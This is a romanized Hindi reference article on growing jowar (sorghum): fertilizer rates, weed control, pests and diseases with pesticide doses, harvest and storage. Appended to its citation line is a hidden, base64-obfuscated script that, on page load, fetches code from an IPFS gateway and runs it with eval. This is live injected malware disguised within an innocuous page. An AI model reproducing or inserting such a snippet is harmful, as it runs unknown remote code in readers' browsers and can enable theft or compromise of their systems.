jhvar bhoomi se 130-150 kilogram natrajan, 50-55 kilogram shphur tatha 100-130 kilogram potash prati hekhteyar leti hai. jhvar ki fasal mean ek kilogram natrajan (naitrets) dene se nee unhnat jatiyoan mean 15 se 16 kilogram dana milata hai. achhchhi upaj ke liye 80 kilogram natrajan, 40 kilogram shphur tatha 40 kilogram potash prati hekhteyar dena chahiye. boni ke samay natrajan ki adhi matra tatha shphur aur potash ki poori matra bij ke niche di jati hai. natrajan ki shesh matra jab fasal 30-35 dinoan ki ho jaye, yani paudhe jab ghutanoan ki ooanchaee ke ho, tab paudhoan se lagabhag 10-12 semi. ki doori par saeed dresiang ke roop mean dekar dora chalakar bhoomi mean mila dena chahie. jahaan gobar ki khad athava kamhposht khad upalabhdh ho, vahaan 5 se 10 tan prati hekhteyar dena labhadayak hota hai tatha isase jhvar se adhik uthpadan prapht hota hai.
kharapatavar niyantran
jhvar fasal mean kharapatavar niyantran hetu kataroan ke bich 'vhhil ho' ya 'dora', boni ke 15-20 din bad evan 30-35 din bad chalayean. isake pashhchat kataroan ke aandar hathoan dvara niraee karean. sanbhav ho to kulhpe ke daante mean rashsi baandhakar paudhoan par mitti chadha deni chahie. rasayanik niyantran mean 'etrajin' 0.5-1.0 kilogram prati hekhteyar sakriy tattv athava 'elakhlor' 1.5 kilogram skriy tathv ko 500 litar jal mean milakar boni ke pashhchat evan aankuran ke poorv chhi dakana chahie. aangiya grasht khet mean jhvar ke anukool mausam hone par bhi bhutte mean dane nahian bharate haian. niandanashak davaoan ke chhi dakav se aangiya ki rokatham ki ja sakati hai. jab aangiya ki sankhhya simit hoti hai tab agiya ko ukha dakar nashht kiya ja sakata hai.[1]
audyaugik fasal
safed jvar ke ate se bred, biskit evan kek banaye ja sakate haian. jvar ke ate ke svabhavik roop se mitha hone ke karan chini ki matra kam rakhakar madhumeh rogiyoan ke lie achchha snaik taiyar kiya ja sakata hai. bred banane ke lie jvar aur gehooan ke ate ki matra 60 pratishat + 40 pratishat rakhi jati hai. isake atirikt samany roop se biyar, jau, makee athava dhan se taiyar ki jati hai, parantu jvar ke anaj se bhi svadisht evan sugandhit biyar banaee ja sakati hai, jo any dhany se banaee biyar se sasti p dati hai. jvar se banaye jane vali biyar ke upayog mean badhotari se jvar ki audyaugik maang badh jayegi.
utpadak kshetr
jvar ka sabase b da utpadak rajy maharashtr hai. isake bad dvitiy sthan karnatak evan tritiy sthan madhy pradesh ka hai. isake alava andhr pradesh, tamilanadu, uttar pradesh, gujarat ityadi rajyoan mean bhi isaki krishi ki jati hai. 2006-07 ke dauran 74 lakh tan jvar ka utpadan hua.
fasal ke pramukh kit
jhvar ki fasal mean anek prakar ke kit pae jate haian. inamean pramukh hai, tana chhedak makhkhi, tana chhedak ilhli aur bhuttoan ke kit. mukhhyat: mij makhkhi adhik hani pahuanchati hai.
tana chhedak makhkhi
yah kit vayashk ghareloo makhkhi ki tulana mean akar mean chhoti hoti hai. isaki mada pathtoan ke niche safed aande deti haian. in aande se 2 se 3 dinoan mean illiyaan nikalakar pathtoan ke poangaloan se hote hue tanoan ke aandar pravesh karati haian aur tanoan ke badhane vale bhag ko nashht karati haian. aise paudhoan mean bhutte nahian ban pate haian.
- niyantran - yadi boni varsha ke agaman ke poorv athava varsha ke aranbh ke ek saphtah mean kar li jaye, to is kit se hani kam hoti hai. bijothpadan kshetr mean boni ke samay bij ke niche 'phoret' 10 pratishat athava 'karbophayuran' 3 pratishat danedar kit nashak 12 se 15 kilogram prati hekhteyar ke hisab se dean.
tana chhedak ilhli
thumb|jvar is kit ki vayashk mada makhkhi pathtoan ki nichali satah par 10 se lekar 80 ke guchhchhoan mean aande deti hai, jisase 4 se 5 dinoan mean illiyaan nikalakar pathtoan ke poangaloan mean pravesh karati haian. tanoan ke aandar mean surang banati haian aur aantat: na da banati haian. is kit ki pahachan pathtoan mean bane chhedoan se ki ja sakati hai, jo illiyaan poangaloan mean pravesh ke samay banati haian.[1]
- niyantran - paudhe jab 25-35 dinoan ki avashtha ke hoan, tab pathtoan ke poangaloan mean 'karbophyuran' 3 pratishat danedar kit nashak ke 5 se 6 dane prati paudhe ki matra mean dalean. lagabhag 8 se 10 kilogram kitanashak ek hekhteyar ke liye lagata hai. danedar kit nashak mahange haian, at: is kit ki santoshajanak rokatham 'iandosalhphan' 4 pratishat athava 'khyoonalaphas' 1.5 pratishat choorn ka dena poangaloan mean bhurakav dvara dena sanbhav hai. yadi tana chhedak ilhli ka niyantran fasal ki praranbhik avashtha mean n kiya jaye, to bhutto ke danthaloan mean illiyaan pravesh kar surang banati haian. parinamashvaroop bhutto mean badhate huye danoan ko paryapht matra mean jal tatha poshak tathv upalabhdh nahian ho pata hai. aise bhutto mean dane akar mean chhote rah jate haian athava anek bar dane nahian ban pate haian.
bhutto ke kit
mij makhkhi kit ka prakop maharashtr se lage ziloan mean adhik dekha jata hai. samanhyat: tapaman jab girane lagata hai, tab kit dikhaee deta hai. is kit ki vayashk mada makhkhi narangi rang ya lal rang ki hoti hai, jo phooloan ke aandar aande deti hai. aandoan se 2 se 3 din mean illiyaan nikalakar phooloan ke aandakoshoan ko khakar nashht karati haian. parinamashvaroop bhutto mean kee jagah dane nahian ban pate. anhy kitoan ki illiyaan bhuttoan mean jale banati haian athava badhate huye dane khakar nashht karati haian. kuchh ras choosak kit danoan se ras choos lete haian.
- niyantran - khet mean jab 90 pratishat paudhoan mean bhutte potoan se bahar nikal ayean, tab bhuttoan par 'inhdosalhfan' 35 ee.si. (1 litar prati hekhteyar) athava 'melathiyan' 50 ee.si. (1 litar prati hekhteyar) taral kit nashak ko 500-600 litar pani mean milakar chhi dakav karean. avashhyakata hone par 10-15 dinoan bad chhi dakav doharaya jana chahie. yadi taral kitanashak upalabhdh n ho, to 'inhdosalhfan' 4 pratishat athava 'melathiyan' 5 pratishat choorn ka bhurakav 12 se 15 kilogram prati hekhteyar ki dar se upayog kiya jata hai.
rog
thumb|jvar jhvar ki desi kishmoan ke pathtoan par anek prakar ke chittidar parn rog dekhe ja sakate haian, parantu sankar kishmoan aur nee unhnat kishmoan ke pathtoan par parn chithti rog kam dikhaee dete haian, khyoanki unamean in rogoan ke lie pratirodhik kshamata ya anuvashik gun hota hai. 'kandava rog' bhi nee kishmoan mean nahian dikhaee deta hai. paudh s dan athava kandava ka niyantran bij ko kavak ko nash karane vali dava se upacharit karane se sanbhav hai. chooanki jhvar ki nee kishmean lagabhag 95 se 110 dinoan mean pakati hai, dane pakane ki avashtha mean varsha hone se danoan par kali athava gulabi rang ki phaphooand ki badhavar dikhaee deti hai. dane bekar ho jate haian, unaki aankuran kshamata kam ho jati hai aur manav ahar ke liye aise dane upayukht nahian hote haian.[1]
- niyantran - is rog ke saphal niyantran ke liye yadi jhvar phoolane ke samay varsha hone se vatavaran mean adhik nami ho, to 'kephtan' (0.3 pratishat) aur 'daeethen-em' (0.3 pratishat) ke mishran ke ghol ka chhi dakav tin bar bhutto par, phool avashtha ke samay, danoan mean doodh ki avashtha ke samay aur dane pakane ki avashtha ke samay karana chahie.
jvar ki kataee
fasal ki kataee karyakiy paripakhvata par karani chahie. har kishm mean bhuttoan ke pakane ka samay alag-alag hota hai. jhvar ke paudhoan ki kataee karake dher laga dete haian. bad mean paudh se bhutto ko alag kar lete haian tatha k dabi ko sukhakar alag dher laga dete haian. yah bad mean janavaroan ko khilane mean kam ata hai. danoan ko sukhakar jab nami 10 se 12 pratishat ho tab bhandaran karana chahie.
dhyan dene yogy batean
jhvar ki fasal ka atyadhik utpadan karane ke liye kuchh batoan ka dhyan rakhana chahie. jaise-shthaniy jatiy aauan ko hi bona jana chahie. samay par buaee karana chahie, asantulit urvarakoan ka prayog nahian hona chahie. paudh sankhhya kam honi chahie, paudhoan ka uchit sanrakshan hona chahie.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 sahoo, ramasukh. jhvar (hindi) (ech.ti.em.el.) krishi chhattisagadh. abhigaman tithi: 11 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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